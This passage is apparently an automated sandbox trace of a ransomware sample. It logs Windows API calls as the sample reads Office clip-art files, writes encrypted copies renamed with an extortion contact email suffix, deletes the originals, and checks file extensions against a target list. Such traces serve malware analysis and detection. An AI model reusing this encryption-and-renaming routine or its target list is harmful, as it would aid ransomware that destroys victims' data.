Office\\CLIPART\\PUB60COR\\J0099178.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0254.842] GetLastError () returned 0x0 [0254.842] ReadFile (in: hFile=0x3d0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0xe16, lpOverlapped=0x0) returned 1 [0254.843] WriteFile (in: hFile=0x3f0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xe20, lpOverlapped=0x0) returned 1 [0254.844] ReadFile (in: hFile=0x3d0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.844] WriteFile (in: hFile=0x3f0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0254.844] SetEndOfFile (hFile=0x3f0) returned 1 [0254.844] CloseHandle (hObject=0x3f0) returned 1 [0254.844] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.844] SetEndOfFile (hFile=0x3d0) returned 1 [0254.846] CloseHandle (hObject=0x3d0) returned 1 [0254.846] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.847] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf")) returned 1 [0254.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0254.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0254.847] lstrlenW (lpString=".doc") returned 4 [0254.847] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.847] lstrlenW (lpString=".docx") returned 5 [0254.847] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0254.847] lstrlenW (lpString=".pdf") returned 4 [0254.847] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.847] lstrlenW (lpString=".xls") returned 4 [0254.847] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.848] lstrlenW (lpString=".xlsx") returned 5 [0254.848] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0254.848] lstrlenW (lpString=".ppt") returned 4 [0254.848] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0254.848] lstrlenW (lpString=".zip") returned 4 [0254.848] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.848] lstrlenW (lpString=".rar") returned 4 [0254.848] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.848] lstrlenW (lpString=".bz2") returned 4 [0254.848] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.848] lstrlenW (lpString=".7z") returned 3 [0254.848] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0254.848] lstrlenW (lpString=".dbf") returned 4 [0254.848] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0254.848] lstrlenW (lpString=".1cd") returned 4 [0254.848] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0254.848] lstrlenW (lpString=".jpg") returned 4 [0254.848] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0254.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0254.848] lstrlenW (lpString=".doc") returned 4 [0254.848] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.848] lstrlenW (lpString=".docx") returned 5 [0254.848] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0254.848] lstrlenW (lpString=".pdf") returned 4 [0254.848] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.848] lstrlenW (lpString=".xls") returned 4 [0254.848] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.848] lstrlenW (lpString=".xlsx") returned 5 [0254.848] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0254.848] lstrlenW (lpString=".ppt") returned 4 [0254.848] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0254.849] lstrlenW (lpString=".zip") returned 4 [0254.849] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.849] lstrlenW (lpString=".rar") returned 4 [0254.849] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.849] lstrlenW (lpString=".bz2") returned 4 [0254.849] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.849] lstrlenW (lpString=".7z") returned 3 [0254.849] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0254.849] lstrlenW (lpString=".dbf") returned 4 [0254.849] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0254.849] lstrlenW (lpString=".1cd") returned 4 [0254.849] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0254.849] lstrlenW (lpString=".jpg") returned 4 [0254.849] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.849] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0254.849] lstrlenW (lpString="J0099179.WMF") returned 12 [0254.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0254.851] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=9154) returned 1 [0254.851] CloseHandle (hObject=0x3d0) returned 1 [0254.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf")) returned 0x20 [0254.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0254.852] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.852] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0254.852] GetLastError () returned 0x0 [0254.852] ReadFile (in: hFile=0x3d0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x23c2, lpOverlapped=0x0) returned 1 [0254.854] WriteFile (in: hFile=0x3f0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x23d0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x23d0, lpOverlapped=0x0) returned 1 [0254.855] ReadFile (in: hFile=0x3d0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.855] WriteFile (in: hFile=0x3f0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0254.855] SetEndOfFile (hFile=0x3f0) returned 1 [0254.855] CloseHandle (hObject=0x3f0) returned 1 [0254.855] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.855] SetEndOfFile (hFile=0x3d0) returned 1 [0254.857] CloseHandle (hObject=0x3d0) returned 1 [0254.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.858] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf")) returned 1 [0254.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0254.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0254.858] lstrlenW (lpString=".doc") returned 4 [0254.858] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.858] lstrlenW (lpString=".docx") returned 5 [0254.858] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0254.858] lstrlenW (lpString=".pdf") returned 4 [0254.858] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.858] lstrlenW (lpString=".xls") returned 4 [0254.858] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.858] lstrlenW (lpString=".xlsx") returned 5 [0254.858] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0254.858] lstrlenW (lpString=".ppt") returned 4 [0254.858] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0254.859] lstrlenW (lpString=".zip") returned 4 [0254.859] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.859] lstrlenW (lpString=".rar") returned 4 [0254.859] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.859] lstrlenW (lpString=".bz2") returned 4 [0254.859] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.859] lstrlenW (lpString=".7z") returned 3 [0254.859] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0254.859] lstrlenW (lpString=".dbf") returned 4 [0254.859] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0254.859] lstrlenW (lpString=".1cd") returned 4 [0254.859] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0254.859] lstrlenW (lpString=".jpg") returned 4 [0254.859] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0254.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0254.859] lstrlenW (lpString=".doc") returned 4 [0254.859] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.859] lstrlenW (lpString=".docx") returned 5 [0254.859] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0254.859] lstrlenW (lpString=".pdf") returned 4 [0254.859] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.859] lstrlenW (lpString=".xls") returned 4 [0254.859] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.859] lstrlenW (lpString=".xlsx") returned 5 [0254.859] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0254.859] lstrlenW (lpString=".ppt") returned 4 [0254.859] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0254.859] lstrlenW (lpString=".zip") returned 4 [0254.859] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.859] lstrlenW (lpString=".rar") returned 4 [0254.860] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.860] lstrlenW (lpString=".bz2") returned 4 [0254.860] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.860] lstrlenW (lpString=".7z") returned 3 [0254.860] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0254.860] lstrlenW (lpString=".dbf") returned 4 [0254.860] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0254.860] lstrlenW (lpString=".1cd") returned 4 [0254.860] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0254.860] lstrlenW (lpString=".jpg") returned 4 [0254.860] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.860] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0254.860] lstrlenW (lpString="J0099180.WMF") returned 12 [0254.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0254.860] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=3394) returned 1 [0254.861] CloseHandle (hObject=0x3d0) returned 1 [0254.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf")) returned 0x20 [0254.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0254.861] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.861] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0254.862] GetLastError () returned 0x0 [0254.862] ReadFile (in: hFile=0x3d0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0xd42, lpOverlapped=0x0) returned 1 [0254.863] WriteFile (in: hFile=0x3f0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xd50, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xd50, lpOverlapped=0x0) returned 1 [0254.864] ReadFile (in: hFile=0x3d0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.864] WriteFile (in: hFile=0x3f0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0254.864] SetEndOfFile (hFile=0x3f0) returned 1 [0254.864] CloseHandle (hObject=0x3f0) returned 1 [0254.864] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.864] SetEndOfFile (hFile=0x3d0) returned 1 [0254.866] CloseHandle (hObject=0x3d0) returned 1 [0254.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.867] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf")) returned 1 [0254.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0254.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0254.867] lstrlenW (lpString=".doc") returned 4 [0254.867] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.867] lstrlenW (lpString=".docx") returned 5 [0254.867] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0254.867] lstrlenW (lpString=".pdf") returned 4 [0254.867] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.867] lstrlenW (lpString=".xls") returned 4 [0254.867] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.867] lstrlenW (lpString=".xlsx") returned 5 [0254.867] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0254.867] lstrlenW (lpString=".ppt") returned 4 [0254.867] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0254.868] lstrlenW (lpString=".zip") returned 4 [0254.868] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.868] lstrlenW (lpString=".rar") returned 4 [0254.868] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.868] lstrlenW (lpString=".bz2") returned 4 [0254.868] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.868] lstrlenW (lpString=".7z") returned 3 [0254.868] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0254.868] lstrlenW (lpString=".dbf") returned 4 [0254.868] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0254.868] lstrlenW (lpString=".1cd") returned 4 [0254.868] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0254.868] lstrlenW (lpString=".jpg") returned 4 [0254.868] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0254.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0254.868] lstrlenW (lpString=".doc") returned 4 [0254.868] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.868] lstrlenW (lpString=".docx") returned 5 [0254.868] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0254.868] lstrlenW (lpString=".pdf") returned 4 [0254.868] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.868] lstrlenW (lpString=".xls") returned 4 [0254.868] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.868] lstrlenW (lpString=".xlsx") returned 5 [0254.868] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0254.868] lstrlenW (lpString=".ppt") returned 4 [0254.868] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0254.868] lstrlenW (lpString=".zip") returned 4 [0254.868] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.868] lstrlenW (lpString=".rar") returned 4 [0254.868] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.869] lstrlenW (lpString=".bz2") returned 4 [0254.869] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.869] lstrlenW (lpString=".7z") returned 3 [0254.869] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0254.869] lstrlenW (lpString=".dbf") returned 4 [0254.869] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0254.869] lstrlenW (lpString=".1cd") returned 4 [0254.869] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63 [0254.869] lstrlenW (lpString=".jpg") returned 4 [0254.869] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.869] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0254.869] lstrlenW (lpString="J0099181.WMF") returned 12 [0254.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0254.869] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=1198) returned 1 [0254.869] CloseHandle (hObject=0x3d0) returned 1 [0254.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf")) returned 0x20 [0254.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0254.870] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.870] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0254.871] GetLastError () returned 0x0 [0254.871] ReadFile (in: hFile=0x3d0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x4ae, lpOverlapped=0x0) returned 1 [0254.873] WriteFile (in: hFile=0x3f0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: 